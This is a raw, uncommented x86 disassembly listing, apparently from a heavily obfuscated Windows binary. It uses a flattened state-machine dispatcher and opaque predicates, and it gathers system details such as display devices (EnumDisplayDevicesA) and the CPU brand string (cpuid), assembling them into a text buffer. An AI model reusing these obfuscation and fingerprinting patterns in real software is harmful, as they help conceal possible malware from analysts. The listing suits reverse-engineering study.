mov dword [esi + 8], ecx
mov eax, 0x1347eb9c
cmp ecx, 0xfb
jb 0x443bbd
mov eax, 0x4c75140d
mov dword [esi + 4], eax
jmp 0x43fc24
mov edi, dword [esi + 8]
mov eax, 0xffffff74
add edi, eax
mov dword [esi + 8], edi
call fcn.00407949
mov eax, 0xbf4444f6
cmp edi, 0x7a
jb 0x443be6
mov eax, 0x399f299a
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x14c]
mov dword [esi + 0x150], eax
push eax
mov eax, esp
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0x90]
add eax, 2
mov dword [esi + 0x154], eax
mov dword [esi + 4], 0x742e0221
jmp 0x43fc24
imul ecx, dword [esi + 0xc], 0x460
shr ecx, 0xa
imul ecx, ecx
imul edx, ecx, 0x569d
dec edx
mov dword [esi + 0xc], 0
mov eax, 0xe544d742
cmp edx, ecx
je 0x443c4a
mov eax, 0x3fa03bfc
mov dword [esi + 4], eax
jmp 0x43fc24
push 5
push 0x480527
push 0x17
push dword [esi + 0xa8]
call fcn.00444840
add esp, 0x10
push 0x18
push dword [esi + 0xa8]
push dword [esi + 0x54]
call fcn.0044cd70
add esp, 0xc
mov dword [esi + 4], 0x39fbe18f
jmp 0x43fc24
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xfc], eax
mov dword [esi + 4], 0xe8fcf2a1
jmp 0x43fc24
mov eax, dword [esi + 8]
mov edi, eax
shl edi, 5
sub edi, eax
add edi, 0x1740
mov dword [esi + 8], edi
push edi
push 0x53f8
push 0x40c6
push 0x4797
call fcn.00444720
add esp, 0x10
mov eax, 0x6c07dc46
cmp edi, 0x93
jl 0x443cdd
mov eax, 0xc74ee642
mov dword [esi + 4], eax
jmp 0x43fc24
imul eax, dword [esi + 0xc], 0x50c6000
add eax, 0x5bf890
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x730eba7f
jmp 0x43fc24
mov eax, dword [esi + 0x1b0]
mov ecx, dword [esi + 0x1c0]
mov dword [ecx], eax
mov dword [esi + 4], 0x85bf4554
jmp 0x43fc24
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a0]
mov dword [eax + 0x10], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a4]
mov dword [eax + 0x14], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a8]
mov dword [eax + 0x18], ecx
mov dword [esi + 4], 0xed86323f
jmp 0x43fc24
imul eax, dword [esi + 0xc], 0x73
shr eax, 6
mov ecx, eax
imul ecx, eax
shl eax, 0x16
imul edx, ecx, 0x4953
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xf4593bdd
cmp ecx, edx
je 0x443d71
mov eax, 0x9e2fa6d3
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 8]
lea edi, [eax*8 - 0xa48]
mov dword [esi + 8], edi
push 0x61a7
push 0xe2b
push edi
push 0x2870
call fcn.00444840
add esp, 0x10
mov eax, 0x3ed8f8cf
cmp edi, 0x78
jge 0x443dad
mov eax, 0x9d967b79
mov dword [esi + 4], eax
jmp 0x43fc24
imul edi, dword [esi + 8], 0x8600
mov eax, edi
shr eax, 2
mov dword [esi + 8], eax
push eax
call fcn.0043fc0c
add esp, 4
mov eax, 0x98ba8218
test edi, edi
je 0x443ddb
mov eax, 0x5e20d2cc
mov dword [esi + 4], eax
jmp 0x43fc24
imul eax, dword [esi + 0xc], 0xcc
add eax, 0xba
shr eax, 8
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc5e72542
jmp 0x43fc24
mov edi, dword [esi + 8]
add edi, 0x35
mov eax, edi
shr eax, 3
add eax, 0x2e
mov dword [esi + 8], eax
push 0x53e4
push eax
push 0x583e
push 0x357e
call fcn.00444720
add esp, 0x10
mov eax, 0x48f18c92
cmp edi, 0xb0
jae 0x443e3c
mov eax, 0x39fbe18f
mov dword [esi + 4], eax
jmp 0x43fc24
mov edi, dword [esi + 8]
mov eax, 0xdf
add edi, eax
mov eax, edi
shr eax, 3
mov dword [esi + 8], eax
push eax
push 0x437c
push 0x3f85
push 0x1b96
call fcn.00444840
add esp, 0x10
mov eax, 0x9cc5e09c
cmp edi, 0x400
jb 0x443e80
mov eax, 0x2231c25
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shl eax, 0xb
add eax, 0xfffffff8
shr eax, 1
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x3f185db8
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shr eax, 5
imul ecx, eax, 0xd5
imul eax, eax
imul edx, eax, 0x870b
dec edx
add ecx, 0x46b9
mov dword [esi + 0xc], ecx
mov ecx, 0xac54653c
cmp edx, eax
je 0x443ecf
mov ecx, 0x6023b85b
mov dword [esi + 4], ecx
jmp 0x43fc24
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
push eax
push dword [esi + 0x10]
push dword [esi + 0x78]
push dword [ebp + 8]
call fcn.004260e5
add esp, 0x10
mov eax, dword [esi + 0x78]
mov dword [esi + 4], 0x56641982
jmp 0x43fc24
push eax
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x34], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x38], eax
mov dword [esi + 4], 0x1347eb9c
jmp 0x43fc24
xor eax, eax
push eax
push dword [esi + 0x20]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [esi + 0x6c]
mov dword [esi + 4], 0xa2f2666c
jmp 0x43fc24
mov eax, dword [esi + 0x17c]
mov word [eax], 0
push 0x18
push 0x474000
push dword [esi + 0xb8]
call fcn.0044cd70
add esp, 0xc
push 5
push 0x474018
push 0xc
push dword [esi + 0xb8]
call fcn.00444720
add esp, 0x10
mov dword [esi + 4], 0x1557802
jmp 0x43fc24
imul eax, dword [esi + 0xc], 0x6506
add eax, 0x4cea05
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x3080e2d3
jmp 0x43fc24
mov eax, dword [esi + 0xc]
lea eax, [eax*8 + 0x4f]
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x865d8d32
jmp 0x43fc24
mov eax, dword [esi + 0x1c8]
mov word [eax], 0xa
mov eax, dword [esi + 0x20]
mov dword [esi + 4], 0x8a26991
jmp 0x43fc24
push dword [esi + 0x4c]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x48]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x8bc94a5
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shl eax, 0xc
add eax, 0xffffa400
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xfb2a3d08
jmp 0x43fc24
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0x4f]
imul eax, eax
imul edx, eax, 0x7f5
imul ecx, ecx, 0xc9
add ecx, 0xffff864d
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xe544d742
cmp edx, eax
je 0x444059
mov ecx, 0xc5f299bf
mov dword [esi + 4], ecx
jmp 0x43fc24
mov edi, dword [esi + 8]
add edi, 0xffffffec
shr edi, 1
and edi, 0xfffffff0
add edi, 0x22
mov dword [esi + 8], edi
call fcn.00407949
mov eax, 0xe5ad6a97
cmp edi, 0x5b
jl 0x444086
mov eax, 0x81329b4d
mov dword [esi + 4], eax
jmp 0x43fc24
imul edi, dword [esi + 8], 0x1f20000
add edi, 0x34e6bc00
shr edi, 1
mov dword [esi + 8], edi
push edi
push 0x1411
push 0xabe
push 0x4ca0
call fcn.00444840
add esp, 0x10
push 0x2bee
push edi
push 0x40d7
push 0x85
call fcn.00444840
add esp, 0x10
mov dword [esi + 4], 0x8a146f18
jmp 0x43fc24
imul eax, dword [esi + 8], 0xc3
shr eax, 0x10
add eax, 0x53
mov dword [esi + 8], eax
push eax
push 0x485d
push 0x2328
push 0x2c93
call fcn.00444720
add esp, 0x10
mov dword [esi + 4], 0x82d3071f
jmp 0x43fc24
mov ecx, dword [esi + 8]
shl ecx, 0xf
add ecx, 0x48000
mov eax, ecx
shr eax, 0x16
mov dword [esi + 8], eax
mov eax, 0xb296c61
cmp ecx, 0x2dc00000
jb 0x444136
mov eax, 0xa4ce8544
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shl eax, 0xf
add eax, 0x630000
shr eax, 9
and eax, 0x3ffc0
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x547269cd
jmp 0x43fc24
push dword [esi + 0x6c]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
mov dword [esi + 4], 0xea42df83
jmp 0x43fc24
mov eax, dword [esi + 0x98]
mov word [eax + 0x18], 0
push 0x18
push 0x473fd0
push dword [esi + 0x98]
call fcn.0044cd70
add esp, 0xc
push 8
push 0x473fe8
push 0xc
push dword [esi + 0x98]
call fcn.00444720
add esp, 0x10
mov dword [esi + 4], 0x1fa40e09
jmp 0x43fc24
mov eax, dword [esi + 0x120]
mov ecx, dword [esi + 0x124]
shld ecx, eax, 0x16
mov dword [esi + 0x1d0], ecx
mov dword [esi + 4], 0xcd6b4b46
jmp 0x43fc24
imul ecx, dword [esi + 8], 0xce
add ecx, 0xffff4862
mov dword [esi + 8], ecx
mov eax, 0x5ead8a11
cmp ecx, 0xd4
jl 0x444202
mov eax, 0x2fbbcc4a
mov dword [esi + 4], eax
jmp 0x43fc24
imul eax, dword [esi + 0xc], 0x3de
add eax, 0x11
shr eax, 4
add eax, 0xffffff9b
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf4593bdd
jmp 0x43fc24
mov eax, dword [esi + 0xc]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
imul ecx, ecx
imul edx, ecx, 0x2af7
dec edx
lea eax, [eax + eax*4]
add eax, 0x7d
mov dword [esi + 0xc], eax
mov eax, 0x79507f6f
cmp ecx, edx
je 0x444253
mov eax, 0xaf3d650a
mov dword [esi + 4], eax
jmp 0x43fc24
push 1
push 0x8000
call fcn.0045cb83
add esp, 8
mov dword [esi + 0x10c], eax
mov dword [esi + 4], 0xa0be244
jmp 0x43fc24
mov eax, dword [esi + 8]
shl eax, 8
mov dword [esi + 8], eax
mov eax, 0x4e2ed2c1
je 0x444291
mov eax, 0x54118fde
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x58]
mov dword [esi + 4], 0x181b1a3b
jmp 0x43fc24
mov ecx, dword [esi + 8]
shl ecx, 0xb
mov eax, 0xf8e559fe
add ecx, 0x40800
mov dword [esi + 8], ecx
je 0x4442c3
mov eax, 0x472cf7c2
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xc0], eax
mov dword [esi + 0xc4], ebx
mov dword [esi + 0xc8], ecx
mov dword [esi + 0xcc], edx
mov dword [esi + 4], 0xcc9eb19b
jmp 0x43fc24
mov eax, dword [esi + 8]
mov ecx, eax
shl ecx, 7
add ecx, eax
add ecx, 0xffffff5d
mov dword [esi + 8], ecx
mov eax, 0x5a9da1ac
cmp ecx, 0x96
je 0x44431d
mov eax, 0x1fa40e09
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x28]
mov dword [eax], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x94], eax
mov eax, dword [esi + 0x94]
mov word [eax + 0x18], 0
mov dword [esi + 4], 0x578adb76
jmp 0x43fc24
mov dword [esi + 4], 0x8c6092d4
jmp 0x43fc24
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x148], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x8c], eax
mov dword [esi + 4], 0x34a85f49
jmp 0x43fc24
mov eax, dword [esi + 0xf8]
add eax, 0x1d
mov dword [esi + 0x1d4], eax
mov dword [esi + 4], 0xbf3ab78d
jmp 0x43fc24
mov eax, dword [esi + 0xac]
movzx ecx, word [0x48054a]
mov word [eax + 0xc], cx
mov ecx, dword [0x480546]
mov dword [eax + 8], ecx
mov ecx, dword [0x480542]
mov dword [eax + 4], ecx
mov ecx, dword [0x48053e]
mov dword [eax], ecx
push 8
push 0x48054c
push 0xe
push dword [esi + 0xac]
call fcn.00444840
add esp, 0x10
mov eax, dword [esi + 0x58]
mov ecx, dword [esi + 0xac]
mov edx, dword [ecx + 0xb]
mov dword [eax + 0xb], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x58]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x110]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov dword [esi + 0x168], eax
mov dword [esi + 4], 0xdd1c1f7
jmp 0x43fc24
mov eax, dword [esi + 0xc]
mov ecx, 0xf5
add eax, ecx
shr eax, 0xe
imul ecx, eax, 0xbb
imul eax, eax
imul edx, eax, 0x5cf7
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xe544d742
cmp edx, eax
je 0x444483
mov ecx, 0x4b79651c
mov dword [esi + 4], ecx
jmp 0x43fc24
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff05
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x3f8d
shl eax, 0xa
dec edx
add eax, 0xffffffd7
mov dword [esi + 0xc], eax
mov eax, 0x79ae4a35
cmp ecx, edx
je 0x4444b8
mov eax, 0xa4ce8544
mov dword [esi + 4], eax
jmp 0x43fc24
mov dword [esi + 4], 0x4b427871
jmp 0x43fc24
mov eax, dword [esi + 0xf0]
mov ecx, dword [0x4805a3]
mov dword [eax + 8], ecx
mov ecx, dword [0x48059f]
mov dword [eax + 4], ecx
mov ecx, dword [0x48059b]
mov dword [eax], ecx
push 6
push 0x4805a7
push 0xc
push dword [esi + 0xf0]
call fcn.00444840
add esp, 0x10
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0xf0]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x68]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x14]
push dword [esi + 0x10]
call fcn.0045dc80
add esp, 8
push dword [esi + 0x10]
call fcn.0045de60
add esp, 4
mov dword [esi + 0x1c4], eax
mov dword [esi + 4], 0x84e89f42
jmp 0x43fc24
mov eax, dword [esi + 8]
mov ecx, 0xb6
add eax, ecx
shr eax, 9
movzx ecx, al
mov dword [esi + 8], ecx
mov eax, 0x45469859
cmp ecx, 0xc3
je 0x444580
mov eax, 0x83d6949d
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shr eax, 1
and eax, 0x3ffff
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7491
shr eax, 0xc
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x67a56864
cmp ecx, edx
je 0x4445b2
mov eax, 0x5fa840b6
mov dword [esi + 4], eax
jmp 0x43fc24
mov edi, dword [esi + 8]
shr edi, 4
and edi, 0xfffffffc
mov dword [esi + 8], edi
push 0xc42
push 0x218
push edi
call fcn.0042c4cd
add esp, 0xc
mov eax, 0xf4593bdd
cmp edi, 0xdf
jae 0x4445eb
mov eax, 0x25ed8bdd
mov dword [esi + 4], eax
jmp 0x43fc24
mov ecx, dword [esi + 8]
shl ecx, 5
add ecx, 0x820
mov dword [esi + 8], ecx
mov eax, 0x840a5579
cmp ecx, 0x78
jge 0x444611
mov eax, 0xe544d742
mov dword [esi + 4], eax
jmp 0x43fc24
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x184]
mov word [eax + ecx], 0xa
mov dword [esi + 4], 0x6e5dfc4e
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shr eax, 0xa
imul ecx, eax, 0xa5
imul eax, eax
imul edx, eax, 0x5b03
dec edx
add ecx, 0x4151
mov dword [esi + 0xc], ecx
mov ecx, 0xcbc2eb54
cmp eax, edx
je 0x444661
mov ecx, 0x3c1ff867
mov dword [esi + 4], ecx
jmp 0x43fc24
mov eax, dword [esi + 0xc]
shr eax, 8
add eax, 0xffffffe1
imul ecx, eax, 0x368000
imul eax, eax
imul edx, eax, 0x7643
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xe9f6d0e6
cmp eax, edx
je 0x444693
mov ecx, 0x446e549
mov dword [esi + 4], ecx
jmp 0x43fc24
imul eax, dword [esi + 0xc], 0x152000
shr eax, 7
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x5a2b3fc9
jmp 0x43fc24
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0x4dece08a
jmp 0x43fc24
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x16c]
mov dword [esi + 0x170], eax
mov dword [esi + 4], 0xb8442e44
jmp 0x43fc24
mov eax, dword [esi + 0x9c]
add eax, 8
mov dword [esi + 0x15c], eax
mov dword [esi + 4], 0x6bbfb69a
jmp 0x43fc24
cmp eax, 0xaf47789a
jne 0x43fc24
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret